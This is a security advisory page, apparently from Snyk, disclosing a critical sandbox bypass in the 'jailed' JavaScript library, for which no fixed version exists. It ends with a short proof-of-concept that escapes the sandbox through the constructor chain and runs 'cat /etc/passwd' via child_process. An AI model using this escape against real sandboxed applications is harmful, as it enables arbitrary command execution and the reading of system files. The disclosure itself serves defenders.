Sandbox Bypass Affecting jailed package, versions *



    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.29% (70th percentile)
Expand this section
9.8 critical

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-JAILED-2391490
  • published 6 Apr 2022
  • disclosed 2 Feb 2022
  • credit Cristian-Alexandru Staicu, Abdullah Alhamdan

How to fix?

There is no fixed version for jailed.


jailed is an a small JavaScript library for running untrusted code in a sandbox.

Affected versions of this package are vulnerable to Sandbox Bypass via an exported alert() method which can access the main application. Exported methods are stored in the application.remote object.


var jailed = require('jailed');
var path = './jailed-plugin.js';

var api = {
    alert: console.log

var plugin = new jailed.Plugin(path, api);
application.remote.alert(this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /etc/passwd").toString());